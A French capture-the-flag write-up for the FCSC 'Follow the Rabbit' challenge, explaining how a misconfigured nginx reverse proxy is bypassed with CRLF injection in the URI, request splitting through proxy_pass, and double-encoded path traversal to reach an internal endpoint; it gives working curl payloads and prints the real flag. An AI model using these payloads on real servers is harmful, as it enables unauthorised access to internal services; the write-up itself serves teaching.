Follow the Rabbit

Tandis qu'Alice s'occupait de son jardin, elle est tombée sur un lapin blanc affolé.
Celui-ci, pressé, lui a demandé de le suivre.
Sans hésiter, Alice a décidé de le poursuivre dans son mystérieux terrier.

https://follow-the-rabbit.france-cybersecurity-challenge.fr

SHA256(follow-the-rabbit-public.tar.gz)
= 6d5af5b83e3c9d3d5bb556965440df80507406239e68ef94c03ba1482d99f411.

Analyse

Le challenge nous offre une archive contenant des fichiers docker ainsi que le code source de la configuration nginx.

docker-compose.yml:

version: '3'

services:
  follow-the-rabbit:
    build:
      context: .
      args:
        FLAG: FCSC{flag_placeholder}
    ports:
      - 8000:80

Dockerfile:

FROM nginx:1.23.3-alpine
COPY src/nginx.conf /etc/nginx/nginx.conf
ARG FLAG
RUN echo "set \$flag \"${FLAG}\";" > /etc/nginx/flags.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

nginx.conf:

user nginx;

worker_processes 4;

events {
    use epoll;
    worker_connections 128;
}

http {
    charset utf-8;

    access_log /dev/stdout combined;
    error_log /dev/stdout debug;

    upstream @deeper {
        server 127.0.0.1:8082;
    }

    server {
        listen 80;
        server_name _;

        location ~* ^(.*)$ {
            return 200 "I'm late! I'm late! For a very important date!";
        }

        location / {
            return 200 "Oh dear, oh dear! I shall be too late!";
        }

        location /deeper {
            proxy_pass http://@deeper$uri$is_args$args;
        }
    }

    server {
        listen 8082;
        server_name deeper;
        include flags.conf;

        location /deeper {
            add_header X-Original-Path "$uri";
            add_trailer X-Trailer "Coming to a nginx close to you" ;

            return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
        }

        location /deepest {
            return 200 "$flag";
        }
    }
}

En regardant la configuration nginx de plus prĂšs, on sait que l’on va devoir requĂȘter le endpoint /deepest du server deeper afin de rĂ©cupĂ©rer le flag.

server {
    listen 8082;
    server_name deeper;
    include flags.conf;

    [snip]

    location /deepest {
        return 200 "$flag";
    }
}

Le problÚme de taille est la regex qui récupÚre absolument tous les chemins sans exceptions, ou presque ?

location ~* ^(.*)$ {
    return 200 "I'm late! I'm late! For a very important date!";
}

Effectivement, regex101 nous indique que le caractĂšre . catch tout sauf un retour Ă  la ligne. Cela semble ĂȘtre une premiĂšre piste.

Regex Explication de la regex depuis le site regex101.

/deeper

We need to go deeper

En se baladant sur internet, on peut trouver diffĂ©rents moyens de bypass des directives location dans une configuration nginx mais une seule attire mon attention. L’utilisation de CRLF %0d%0a (cf: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/nginx#unsafe-variable-use).

❯ curl http://127.0.0.1:8000/
I'm late! I'm late! For a very important date!                                                                                                                                                                                                      
❯ curl http://127.0.0.1:8000/%0d%0aHeader:%20
Oh dear, oh dear! I shall be too late!

Super, on passe la premiĂšre regex, on ne devrait pas avoir de mal Ă  se retrouver sur le endpoint /deeper.

❯ curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.1%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!

Depuis Wireshark, si on regarde notre requĂȘte, on peut constater que celle que nous rĂ©alisons semble normal sans injection :

GET /deeper%20HTTP/1.1%0d%0aHeader:%20 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: curl/7.81.0
Accept: */*

Cependant, à cause de $uri, notre payload est interprété par nginx. On peut confirmer cela depuis le log de notre docker.

❯ curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.1%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!

follow-the-rabbit_1  | 127.0.0.1 - - [28/Apr/2023:15:11:30 +0000] "GET /deeper HTTP/1.1" 200 114 "-" "curl/7.81.0"
follow-the-rabbit_1  | 172.18.0.1 - - [28/Apr/2023:15:11:30 +0000] "GET /deeper%20HTTP/1.1%0d%0aHeader:%20 HTTP/1.1" 200 71 "-" "curl/7.81.0"
follow-the-rabbit_1  | 2023/04/28 15:11:30 [info] 30#30: *30 client 172.18.0.1 closed keepalive connection

❯ curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.9%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!

follow-the-rabbit_1  | 127.0.0.1 - - [28/Apr/2023:15:11:33 +0000] "GET /deeper HTTP/1.9" 200 114 "-" "curl/7.81.0"
follow-the-rabbit_1  | 172.18.0.1 - - [28/Apr/2023:15:11:33 +0000] "GET /deeper%20HTTP/1.9%0d%0aHeader:%20 HTTP/1.1" 200 71 "-" "curl/7.81.0"
follow-the-rabbit_1  | 2023/04/28 15:11:33 [info] 30#30: *33 client 172.18.0.1 closed keepalive connection

On remarque bien que si l’on change la version HTTP celle-ci est reflĂ©tĂ© GET /deeper HTTP/1.9.

/deepest

Il ne nous reste plus qu’Ă  requĂȘter le endpoint /deepest pour rĂ©cupĂ©rer le flag. Mais de nouveau, c’est une autre paire de manche, comment rĂ©ussir Ă  requĂȘter ce endpoint qui semble inaccessible au vu de la configuration nginx initial.

Toutes tentatives de header comme X-Original-URL et X-Rewrite-URL ne donnent un résultat probant.

❯ curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.9%0d%0aX-Original-URL:%20/deepest%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!

❯ curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.9%0d%0aX-Rewrite-URL:%20/deepest%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!

C’est alors qu’une idĂ©e me traversa la tĂȘte. Nginx vĂ©rifie que notre uri commence par deeper pour l’envoyer au second endpoint.

On peut donc ajouter tout ce que l’on veut derriĂšre, cela ne sera pas pris en compte ?

❯ curl --http0.9 http://127.0.0.1:8000/deeperAETHER%20HTTP/1.9%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
❯ curl --http0.9 http://127.0.0.1:8000/deeperFCSC%20HTTP/1.9%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!

Flag

Pourquoi ne pas utiliser .. ? nginx pourra résoudre le chemin /deeper/../deepest en /deepest et le server deeper nous renverra le flag.

Il nous suffit de double encoder notre /../ afin qu’il ne soit pas interprĂ©tĂ© par le premier serveur, mais seulement dĂ©codĂ©.

❯ curl --http0.9 http://127.0.0.1:8000/deeper%252f%252e%252e%252fAETHER%20HTTP/1.9%0d%0aHeader:%20
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.23.3</center>
</body>
</html>

follow-the-rabbit_1  | 2023/04/28 15:19:35 [error] 32#32: *57 open() "/etc/nginx/html/AETHER" failed (2: No such file or directory), client: 127.0.0.1, server: deeper, request: "GET /deeper%2f%2e%2e%2fAETHER HTTP/1.9", host: "@deeper"
follow-the-rabbit_1  | 127.0.0.1 - - [28/Apr/2023:15:19:35 +0000] "GET /deeper%2f%2e%2e%2fAETHER HTTP/1.9" 404 153 "-" "curl/7.81.0"
follow-the-rabbit_1  | 172.18.0.1 - - [28/Apr/2023:15:19:35 +0000] "GET /deeper%252f%252e%252e%252fAETHER%20HTTP/1.9%0d%0aHeader:%20 HTTP/1.1" 404 153 "-" "curl/7.81.0"
follow-the-rabbit_1  | 2023/04/28 15:19:35 [info] 31#31: *55 client 172.18.0.1 closed keepalive connection

Parfait, l’erreur /etc/nginx/html/AETHER" failed (2: No such file or directory) nous montre bien que le payload est passĂ©.

On rĂ©plique cela sur l’endpoint /deepest pour rĂ©cupĂ©rer le flag.

curl --http0.9 http://127.0.0.1:8000/deeper%252f%252e%252e%252fdeepest%20HTTP/1.9%0d%0aHeader:%20
FCSC{flag_placeholder}

❯ curl --http0.9 https://follow-the-rabbit.france-cybersecurity-challenge.fr/deeper%252f%252e%252e%252fdeepest%20HTTP/1.9%0d%0aHeader:%20
FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}

flag: FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}